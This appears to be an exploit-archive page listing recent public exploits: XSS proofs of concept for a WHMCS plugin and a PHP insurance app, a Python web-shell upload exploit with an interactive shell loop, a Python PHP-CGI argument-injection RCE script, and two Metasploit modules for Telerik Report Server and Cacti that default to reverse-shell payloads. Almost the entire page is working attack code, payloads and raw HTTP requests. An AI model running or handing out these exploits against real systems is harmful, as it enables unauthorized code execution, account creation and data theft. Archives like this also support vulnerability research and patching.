Latest exploits :: CodePwn

<pre><code>Exploit Title: Premium Support Tickets For WHMCS Reflected XSS Exploit Author: Sajibe Kanti Vendor: ModulesGarden Vendor Homepage: https://www.modulesgarden.com/products/whmcs/premium-support-tickets Product Name: Premium Support Tickets For WHMCS Product Version: v1.2.10 Tested Version: WHMCS 8.10.1 Tested on: Windows 10 Vulnerabilities Discovered Date: 29/04/2024 Description: The Premium Support Tickets For WHMCS plugin by ModulesGarden is vulnerable to a reflected cross-site scripting (XSS) attack. This vulnerability allows an attacker to inject malicious JavaScript code into the "error&msg=" parameter of the submitticket.php page, leading to the execution of arbitrary code in the context of the victim's browser. Proof of Concept (POC): 1. Identify a website that utilizes the Premium Support Tickets For WHMCS plugin by ModulesGarden. 2. Navigate to the ticket submission page (submitticket.php). 3. Select any department to open a new ticket. 4. If you lack support credit points, you will receive an error message with the parameter "error&msg=clientarea_message_cantcreateinthisdept". 5. Inject your payload into the "error&msg=" parameter. 6. Construct the following URL with your payload: https://example.com/submitticket.php?PremiumSupportTickets=error&msg=%22/%3E%3CsvG%20onLoad=alert(/xss/)%3E 7. Replace the payload with your desired XSS payload: "<svg/onLoad=alert(/OPENBUGBOUNTY/)>" 8. Visit the modified URL in your browser. 9. Observe the XSS popup indicating successful exploitation of the vulnerability. Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of an authenticated user's browser session. This could lead to various attacks, including but not limited to: - Theft of sensitive information (session cookies, credentials, etc.) - Phishing attacks targeting users of the affected WHMCS instance - Defacement of the website or redirection to malicious content - Browser-based attacks such as keylogging or screen capturing Note: This exploit is for educational purposes only. Unauthorized access to or modification of systems is illegal and unethical. Always obtain proper authorization before testing or exploiting vulnerabilities. </code></pre>

<pre><code># Exploit Title: Life Insurance Management Stored System- cross-site scripting (XSS) # Exploit Author: Aslam Anwar Mahimkar # Date: 18-05-2024 # Category: Web application # Vendor Homepage: https://projectworlds.in/ # Software Link: https://projectworlds.in/life-insurance-management-system-in-php/ # Version: AEGON LIFE v1.0 # Tested on: Linux # CVE: CVE-2024-36599 # Description: ---------------- A stored cross-site scripting (XSS) vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary web scripts via a crafted payload injected into the name parameter at insertClient.php. # Payload: ---------------- <script>alert(document.domain)</script> # Attack Vectors: ------------------------- To exploit this vulnerability use <script>alert(document.domain)</script> when user visit Client.php we can see the XSS. # Burp Suite Request: ---------------------------- POST /lims/insertClient.php HTTP/1.1 Host: localhost Content-Length: 30423 Cache-Control: max-age=0 sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymKfAe0x95923LzQH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/lims/addClient.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n Connection: close ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="client_id" 1716051159 ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="client_password" password ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="name" <script>alert(document.domain)</script> ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="fileToUpload"; filename="runme.jpg_original" Content-Type: application/octet-stream ÿØÿà </code></pre>

<pre><code># Exploit Title: Life Insurance Management System- Unauthenticated Remote Code Execution (RCE) # Exploit Author: Aslam Anwar Mahimkar # Date: 18-05-2024 # Category: Web application # Vendor Homepage: https://projectworlds.in/ # Software Link: https://projectworlds.in/life-insurance-management-system-in-php/ # Version: AEGON LIFE v1.0 # Tested on: Linux # CVE: CVE-2024-36598 # Description: ---------------- -An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image/gif magic bytes in payload. -In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect. # Payload: ------------------ payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'" # RCE via executing exploit: --------------------------------------- # Step : run the exploit in python with this command: python3 shell.py http://localhost/lims/ # will lead to RCE shell. POC ------------------- import argparse import random import requests import string import sys parser = argparse.ArgumentParser() parser.add_argument('url', action='store', help='The URL of the target.') args = parser.parse_args() url = args.url.rstrip('/') random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10)) payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'" file = {'fileToUpload': (random_file + '.php', payload, 'text/php')} print('> Attempting to upload PHP web shell...') r = requests.post(url + '/insertClient.php', files=file, data={'agent_id':''}, verify=False) print('> Verifying shell upload...') r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False) if random_file in r.text: print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php') print('> Example command usage: ' + url + '/uploads/' + random_file + '.php?cmd=whoami') launch_shell = str(input('> Do you wish to launch a shell here? (y/n): ')) if launch_shell.lower() == 'y': while True: cmd = str(input('RCE $ ')) if cmd == 'exit': sys.exit(0) r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':cmd}, verify=False) print(r.text) else: if r.status_code == 200: print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.') else: print('> Web shell failed to upload! The web server may not have write permissions.') --------------------------------------------------------------------------------------------------------------------------- ### Can also performed manually. Payload: -------------- GIF89a; <?php echo"<pre>"; passthru($_GET['cmd']); echo"<pre>"; ?> # Attack Vectors: ------------------------- After uploading malicious image can access it to get the shell http://localhost/lims/uploads/shell2.gif.php?cmd=id Burp Suit Request ----------------------------- POST /lims/insertClient.php HTTP/1.1 Host: localhost Content-Length: 2197 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5plGALZGPOOdBlF0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/lims/addClient.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="client_id" 1716015032 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="client_password" Password ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="name" Test ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="fileToUpload"; filename="shell2.gif.php" Content-Type: application/x-php GIF89a; <?php echo"<pre>"; passthru($_GET['cmd']); echo"<pre>"; ?> ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="sex" Male ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="birth_date" 1/1/1988 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="maritial_status" M ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nid" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="phone" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="address" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="policy_id" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="agent_id" Agent007 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_id" 1716015032-275794639 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_name" Test1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_sex" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_birth_date" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_nid" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_relationship" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="priority" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_phone" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 </code></pre>

<pre><code># Exploit Title: PHP Windows Remote Code Execution (Unauthenticated) # Exploit Author: Yesith Alvarez # Vendor Homepage: https://www.php.net/downloads.php # Version: PHP 8.3,* < 8.3.8, 8.2.*<8.2.20, 8.1.*, 8.1.29 # CVE : CVE-2024-4577 from requests import Request, Session import sys import json def title(): print(''' _______ ________ ___ ___ ___ _ _ _ _ _____ ______ ______ / ____\ \ / / ____| |__ \ / _ \__ \| || | | || | | ____|____ |____ | | | \ \ / /| |__ ______ ) | | | | ) | || |_ ______| || |_| |__ / / / / | | \ \/ / | __|______/ /| | | |/ /|__ _|______|__ _|___ \ / / / / | |____ \ / | |____ / /_| |_| / /_ | | | | ___) | / / / / \_____| \/ |______| |____|\___/____| |_| |_| |____/ /_/ /_/ Author: Yesith Alvarez Github: https://github.com/yealvarez Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/ Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2024-4577/exploit.py ''') def exploit(url, command): payloads = { '<?php echo "vulnerable"; ?>', '<?php echo shell_exec("'+command+'"); ?>' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0', 'Content-Type': 'application/x-www-form-urlencoded'} s = Session() for payload in payloads: url = url + "/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" req = Request('POST', url, data=payload, headers=headers) prepped = req.prepare() del prepped.headers['Content-Type'] resp = s.send(prepped, verify=False, timeout=15) #print(prepped.headers) #print(url) #print(resp.headers) #print(payload) print(resp.status_code) print(resp.text) if __name__ == '__main__': title() if(len(sys.argv) < 2): print('[+] USAGE: python3 %s https://<target_url> <command>\n'%(sys.argv[0])) print('[+] USAGE: python3 %s https://192.168.0.10\n dir'%(sys.argv[0])) exit(0) else: exploit(sys.argv[1],sys.argv[2]) </code></pre>

<pre><code># This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::CheckModule include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE', 'Description' => %q{ This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability (CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior. The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges. The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account because users are unable to delete themselves. }, 'Author' => [ 'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up 'Soroush Dalili', # CVE-2024-1800 exploitation assistance 'Unknown', # CVE-2024-1800 discovery 'Spencer McIntyre' # MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130 [ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305 [ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ] ], 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', {} ], ], 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 83 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2024-06-04', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'RelatedModules' => [ check_module ] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), OptString.new('USERNAME', [false, 'Username for the new account', '']), OptString.new('PASSWORD', [false, 'Password for the new account', '']) ]) deregister_options('CheckModule') end def check_module 'auxiliary/scanner/http/telerik_report_server_auth_bypass' end def check_options { 'ACTION' => 'CHECK' } end def check check_code = super if check_code == CheckCode::Appears # The auth bypass affects later versions than the RCE, so just filter those out version = check_code.details[:version] if version > Rex::Version.new('10.0.24.130') return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details) end end check_code end def username @username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME'] end def password @password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD'] end def create_account? # unless the user specifies a username, use CVE-2024-4358 to create an account for them. datastore['USERNAME'].blank? end def create_account! # create a new account by exploiting CVE-2024-4358 res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Startup/Register'), 'vars_post' => { 'Username' => username, 'Password' => password, 'ConfirmPassword' => password, 'Email' => Faker::Internet.email(name: username), 'FirstName' => Faker::Name.first_name, 'LastName' => Faker::Name.last_name } ) fail_with(Failure::Unreachable, 'No response received') if res.nil? fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index') end def login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Token'), 'vars_post' => { 'grant_type' => 'password', 'username' => username, 'password' => password } ) fail_with(Failure::Unreachable, 'No response received') if res.nil? fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json') fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200 access_token = res.get_json_document['access_token'] fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present? print_good("Successfully authenticated as #{username}") report_creds(username, password) access_token end def build_trdp zip = Rex::Zip::Archive.new zip.add_file( '[Content_Types].xml', Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0) <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="xml" ContentType="application/zip" /> </Types> XML ) zip.add_file( 'definition.xml', Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0"> <Items> <ResourceDictionary xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" xmlns:System="clr-namespace:System;assembly:mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" > <ODP:ObjectDataProvider MethodName="Start" > <ObjectInstance> <Diag:Process> <StartInfo> <Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo> </StartInfo> </Diag:Process> </ObjectInstance> </ODP:ObjectDataProvider> </ResourceDictionary> </Items> </Report> XML ) zip.pack end def send_request_api(resource, method: nil, data: nil) if method.nil? method = data.nil? ? 'GET' : 'POST' end res = send_request_cgi( 'method' => method, 'uri' => normalize_uri(target_uri.path, 'api', resource), 'headers' => { 'Authorization' => "Bearer #{@access_token}" }, 'ctype' => 'application/json', 'data' => data.nil? ? nil : data.to_json ) fail_with(Failure::Unreachable, 'No API response received') if res.nil? fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200 return nil if res.body.blank? fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json') res.get_json_document end def exploit if create_account? print_status('Creating a new administrator account using CVE-2024-4358') create_account! print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)") end @access_token = login categories = send_request_api('reportserver/categories') report_name = rand_text_alphanumeric(10) category = categories.sample fail_with(Failure::Unknown, 'A random category could not be selected') unless category print_status("Using category: #{category['Name']}") send_request_api( 'reportserver/report', data: { 'reportName' => report_name, 'categoryName' => category['Name'], 'description' => nil, 'reportContent' => Rex::Text.encode_base64(build_trdp), 'extension' => '.trdp' } ) vprint_status("Created report: #{report_name}") res_json = send_request_api('reportserver/reports') @report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] } res_json = send_request_api( 'reports/clients', data: { 'timeStamp' => nil } ) client_id = res_json['clientId'] fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present? begin send_request_api( "reports/clients/#{client_id}/parameters", data: { 'report' => "NAME/#{category['Name']}/#{report_name}/", 'parameterValues' => {} } ) rescue Msf::Exploit::Failed => e raise e unless fail_reason == Failure::UnexpectedReply print_good('The server responded with an error indicating that the payload was executed') self.fail_reason = Failure::None end end def cleanup return unless @report && @access_token print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})") send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE') end def report_creds(user, pass) credential_data = { module_fullname: fullname, username: user, private_data: pass, private_type: :password, workspace_id: myworkspace_id, last_attempted_at: Time.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_details) create_credential_and_login(credential_data) end end </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Cacti include Msf::Payload::Php include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Cacti Import Packages RCE', 'Description' => %q{ This exploit module leverages an arbitrary file write vulnerability (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It abuses the `Import Packages` feature to upload a specially crafted package that embeds a PHP file. Cacti will extract this file to an accessible location. The module finally triggers the payload to execute arbitrary PHP code in the context of the user running the web server. Authentication is needed and the account must have access to the `Import Packages` feature. This is granted by setting the `Import Templates` permission in the `Template Editor` section. }, 'License' => MSF_LICENSE, 'Author' => [ 'Egidio Romano', # Initial research and discovery 'Christophe De La Fuente' # Metasploit module ], 'References' => [ [ 'URL', 'https://karmainsecurity.com/KIS-2024-04'], [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'], [ 'CVE', '2024-25641'] ], 'Platform' => ['unix linux win'], 'Privileged' => false, 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP', { 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Type' => :php, 'DefaultOptions' => { # Payload is not set automatically when selecting this target. # Select Meterpreter by default 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix', 'linux' ], 'DefaultOptions' => { # Payload is not set automatically when selecting this target. # Select a x64 fetch payload by default. 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Platform' => 'win', 'DefaultOptions' => { # Payload is not set automatically when selecting this target. # Select a x64 fetch payload by default. 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp' } } ] ], 'DisclosureDate' => '2024-05-12', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']), OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']) ] ) end def check # Step 1 - Check if the target is Cacti and get the version print_status('Checking Cacti version') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'keep_cookies' => true ) return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil? html = res.get_html_document begin cacti_version = parse_version(html) version_msg = "The web server is running Cacti version #{cacti_version}" rescue Msf::Exploit::Cacti::CactiNotFoundError => e return CheckCode::Safe(e.message) rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e return CheckCode::Unknown(e.message) end if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27') print_good(version_msg) else return CheckCode::Safe(version_msg) end # Step 2 - Login @csrf_token = parse_csrf_token(html) return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty? begin do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token) rescue Msf::Exploit::Cacti::CactiError => e return CheckCode::Unknown("Login failed: #{e}") end @logged_in = true # Step 3 - Check if the user has enough permissions to reach `package_import.php` print_status('Checking permissions to access `package_import.php`') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'package_import.php'), 'method' => 'GET', 'keep_cookies' => true ) return CheckCode::Unknown('Could not access `package_import.php` - no response') if res.nil? return CheckCode::Unknown("Could not access `package_import.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200 # The form with the CSRF token input field is not present when access is denied if parse_csrf_token(res.get_html_document).empty? return CheckCode::Safe('Could not access `package_import.php` - insufficient permissions') end CheckCode::Appears end # Taken from modules/payloads/singles/php/exec.rb def php_exec(cmd) dis = '$' + rand_text_alpha(4..7) shell = <<-END_OF_PHP_CODE #{php_preamble(disabled_varname: dis)} $c = base64_decode("#{Rex::Text.encode_base64(cmd)}"); #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} END_OF_PHP_CODE Rex::Text.compress(shell) end def generate_package @payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php" php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded) digest = OpenSSL::Digest.new('SHA256') pkey = OpenSSL::PKey::RSA.new(2048) file_signature = pkey.sign(digest, php_payload) xml_data = <<~XML <xml> <files> <file> <name>#{@payload_path}</name> <data>#{Rex::Text.encode_base64(php_payload)}</data> <filesignature>#{Rex::Text.encode_base64(file_signature)}</filesignature> </file> </files> <publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}</publickey> <signature></signature> </xml> XML signature = pkey.sign(digest, xml_data) xml_data.sub!('<signature></signature>', "<signature>#{Rex::Text.encode_base64(signature)}</signature>") Rex::Text.gzip(xml_data) end def upload_package print_status('Uploading the package') # Default parameters sent when importing packages from the web UI # Randomizing these values might be suspicious vars_form = { '__csrf_magic' => @csrf_token, 'trust_signer' => 'on', 'data_source_profile' => '1', 'remove_orphans' => 'on', 'replace_svalues' => 'on', 'image_format' => '3', 'graph_height' => '200', 'graph_width' => '700', 'save_component_import' => '1', 'preview_only' => 'on', 'action' => 'save' } vars_form_data = [] vars_form.each do |name, data| vars_form_data << { 'name' => name, 'data' => data } end vars_form_data << { 'name' => 'import_file', 'filename' => "#{rand_text_alphanumeric(5..10)}.xml.gz", 'content_type' => 'application/x-gzip', 'encoding' => 'binary', 'data' => generate_package } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'package_import.php'), 'method' => 'POST', 'keep_cookies' => true, 'vars_form_data' => vars_form_data ) fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when sending the preview import request') if res.nil? fail_with(Failure::UnexpectedReply, "Unexpected response code (#{res.code}) when sending the preview import request") unless res.code == 200 html = res.get_html_document local_path = html.xpath('//input[starts-with(@id, "chk_file")]/@title').text fail_with(Failure::Unknown, 'Unable to import the package') if local_path.empty? vars_form['preview_only'] = '' res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'package_import.php'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => vars_form ) fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when importing the package') if res.nil? fail_with(Failure::UnexpectedReply, "Unexpected response code when importing the package (#{res.code})") unless res.code == 302 local_path end def trigger_payload # Expecting no response print_status('Triggering the payload') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, @payload_path), 'method' => 'GET' }, 1) end def exploit # Setting the `FETCH_DELETE` option seems to break the payload execution. # `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it # is not possible to opt-out anymore. fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE'] unless @csrf_token begin @csrf_token = get_csrf_token rescue CactiError => e fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}") end end unless @logged_in begin do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token) rescue CactiError => e fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}") end end package_path = upload_package register_file_for_cleanup(package_path) # For fetch payloads, setting the `FETCH_DELETE` option seems to break the # payload execution. Using `#register_file_for_cleanup` instead, since we # know the local path. if target['Type'] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch) if File.absolute_path?(datastore['FETCH_FILENAME']) register_file_for_cleanup(datastore['FETCH_FILENAME']) else register_file_for_cleanup(File.join(File.dirname(package_path), datastore['FETCH_FILENAME'])) end end trigger_payload end end </code></pre>